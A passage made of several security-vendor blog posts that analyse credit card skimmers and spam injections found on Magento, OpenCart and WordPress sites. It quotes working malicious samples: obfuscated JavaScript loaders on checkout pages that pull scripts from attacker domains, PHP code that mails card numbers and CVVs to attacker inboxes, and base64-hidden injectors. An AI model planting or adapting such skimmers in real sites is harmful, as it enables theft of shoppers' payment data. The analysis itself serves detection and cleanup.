Author: Cesar Anjos

Lately we’ve been analysing multiple credit card stealers for Magento. We are seeing an increase trend there as attackers can more easily monetize a compromised e-commerce site compared to one without credit card data.

This new variation the CC stealer isn’t injected directly into the website but loaded from an external source. Loading the code from another source allows the attacker to perform any modifications in the malware source code without the need of “reinfecting” the site.

Here is a snippet of the code that we found inside Magento's /js/lib/ccard.js

...<!-- Google Code for Remarketing Tag -->if((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)){document.write('<script src="hxxps://jquery -cdn .top/mage .js"></script>')};<!-- Google Code for Remarketing Tag -->

Basically this javascript acts like a man-in-the-middle between the user and the checkout process/page and whenever a credit card information is provided, it allows the original processing from the CMS but at the same time it forwards the data to a malicious domain at hxxps://jquery-cdn . top/ mag.php.

We also found a slightly different version of the malicious code inside /js/scriptaculous/effects.js:

if((new RegExp('onepage|checkout|onestep|fircheckout')).test(window.location)) {document.write('>tpircs/<>"sj.egam/ue.todstats//:spxxh"=crs tpircs<'.split("").reverse().join(""))}

Putting the code in a readable format we get:

if ((new RegExp('onepage|checkout|onestep|firecheckout')).test(window.location)) {   document.write('<script src="hxxps:// statsdot. eu/mage.js"></script>)}

In this case, the script uses the domain hxxps:// statsdot. eu to load the javascript and it sends the credit card data over to hxxps://statsdot .eu /mag.php

Interesting point about these domains is that attackers are sending the stolen information through secure channels (https). And, even though the credit card information isn’t processed directly at your shop, it’s very important to ensure that your website is updated and has the latest patches installed.

Moreover, in order to detect, mitigate and prevent such issues from happening, we also recommend having a Website Application Firewall (WAF) in place, keeping regular backups and using a File Integrity Monitoring tool to ensure the integrity of your file system.

We at Sucuri, always stress the risks associated with using themes, plugins or any add-on downloaded from unofficial sources (Nulled Versions). During our investigation process, we found into a theme, a malicious code being used to promote an external website and possibly generate revenue to the “developer” without user’s consent. Inside the downloaded package there were lots of files named index.php and default.php throughout different folders. Those files contained the following base64 code:

 <?php $wfk='PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4OyI+CjxhIGhyZWY9Imh0dHA6Ly9qb29tbGE0ZXZlci5ydS9ib3d0aGVtZXMvMjI4Ny1idC1waG90b2dyYXBoeS5odG1sIiB0aXRsZT0iQlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhIiB0YXJnZXQ9Il9ibGFuayI+QlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhPC9hPgo8YSBocmVmPSJodHRwOi8vYWxsLWJvb2submV0LyIgdGl0bGU9ItCa0L3QuNCz0LgiIHRhcmdldD0iX2JsYW5rIj7QmtC90LjQs9C4PC9hPgo8L2Rpdj4='; echo base64_decode($wfk); ?>

Decoding it into a human-readable format, we got these “invisible” malicious links:

<div style="position:absolute;top:0;left:-9999px;"><a href="hxxp://joomla4ever .ru/bowthemes/2287-bt-photography.html" title="BT Photography - шаблон joomla" target="_blank">BT Photography - шаблон joomla</a><a href="hxxp://all-book .net/" title="Книги" target="_blank">Книги</a></div>

This kind of infection is commonly injected into Nulled components for different CMS’s and are designed specifically to damage the SEO positioning of a website due to the arbitrary links as well as promoting a particular website with intent to generate revenue for the “developers”.

To reduce the risks, we always recommend downloading any add-on (themes, plugins, extensions) for your site directly from the official source because you never know which extra “feature” you are getting from those “alternative” versions.

You may find more information related to this infection here, here and here.

We have previously analyzed many Credit Card stealers code, specially targeting the Magento platform:

• Magento Malware Emails Stolen Credit Card Details to Hackers
• Magento script stealing credit card details

However, this type of malicious code is not only being used against Magento, as we see if often on other ecommerce platforms. To give an example, we were analyzing a compromised OpenCart site and found the following entry on the file:

$smail=$order_info['order_id']."|".$order_info['payment_firstname']."|".$order_info['payment_lastname'].
"|".$order_info['payment_address_1']."|".$order_info['payment_city']."|"
.$order_info['payment_postcode']."|".$order_info['payment_zone']."
|".$order_info['payment_country']."|".$order_info['telephone']."|".$this->request->post['cc_expire_date_month'].
"|".$this->request->post['cc_expire_date_year']."|".$this->request->post['cc_cvv2']."|".$this->
request->post['cc_number'];
mail("swordsofnorthshirei@yopmail.com","infectedOpenCart",$smail,"From: infected@anotheropencartsite.dom\r\nReply-to: bademail@yopmail.com");

If you are not familiar with PHP, this code gets all credit card transaction data (including name, address, CVV, etc) and email to swordsofnorthshirei@yopmail.com. Yopmail(.)com is a domain that allows the use of disposable e-mail inboxes.

As you can see, ecommerce sites (and customers) have a lot more to lose when they get compromised as they process and deal with critical information from their users. Whenever possible, we recommend using 3rd party providers, like Stripe or Paypal to reduce your PCI scope and do not allow credit card data to pass through your site.

If you run OpenCart or any other ecommerce platform, check out our Sucuri Firewall to protect your site from attacks and compromises.

Once active during the past summer, the g00[.]co script injections come with a new wave on infections this November.

The most common variation is

<script src="hxxp: / / g00[.]co/BtFVPd"></script>

This short URL hides the hxxp://yourjavascript[.]com/3921156982/not.js script, which in turn opens hxxp://speedclick[.]info/app/amung.php?c=a&s= for visitors that come from Facebook, Google, Bing and Yahoo!

On the server side, the malware is mainly injected into WordPress theme files. Usually you can find the following PHP code (in one line. Line breaks added for readability) in either footer.php or functions.php:

if (strpos($_SERVER[base64_decode("UkVRVUVTVF9VUkk=")],
base64_decode("d3AtYWRtaW4=")) === false) 
{
echo base64_decode(base64_decode(base64_decode("VUVoT2Ft...skipped...edUFEwSw0K")));
}

It injects that g00 script into all site URLs that don't contain wp-admin.

As always, if you need site security monitoring and cleanup services, you can count on us.

We worked on an infected Magento site that had unwanted pop-up ads when you visited it. The culprit was this injected script (spaces added intentionally)

<s c r i p t>document .write('>tpircs/<>"YzSBPWt9=i?php .war/moc . nibetsap / / :sptth"=crs tpircs<'.split("").reverse().join(""))</s c r i p t>

This code uses the reverse() JavaScript function to dynamically inject a remote script directly from Pastebin.com - https: / / pastebin . com/raw .php?i = 9tWPBSzY. That’s not the first time we see hackers leveraging the Pastebin service

This time the raw pastebin code uses the same reverse() trick to inject the final remote script from hxxp: / / lachinampa . com . mx/stat/. That script has the actual pop-up code that uses the blablatrafic .com as the intermediary between other ad providers.

In some cases, the same pop-up code injection was noticed on WordPress sites. So this isn’t limited to Magento and you should check your files and database even if you are using a different CMS. Or have us scan your site for you.

We regularly find malware that tries to steal client credit card details from Magento sites. Hackers use a few tricks and slightly modify their code from time to time.

For example, we've seen multiple modifications of the code reported in this article. Instead of using HTTP requests to send data to their own site, hackers often just email the stolen data to their emails.

...
mail("tuyulaustrali@yahoo.com","$data10 From $data6|$data15", "$message");

To hide the email address they use the following modification:

...
$idkey = 'Y3NfdG9vbHM0dXNAeWFob28uY29t';
$name ="$data9 Payment";
$encode = base64_decode($idkey);
...
mail($encode, $salt, $payfull, $headr);

where Y3NfdG9vbHM0dXNAeWFob28uY29t decodes to cs_tools4us@yahoo.com

Regardless of the actual code, the best way to mitigate this issue is preserve integrity of Magento core files. The files hackers usually modify are:

app/code/core/Mage/Payment/Model/Method/Cc.php
includes/src/Mage_Payment_Model_Method_Cc.php

Of course, removing the malicious code is not enough. You should find and close security holes to prevent reinfections.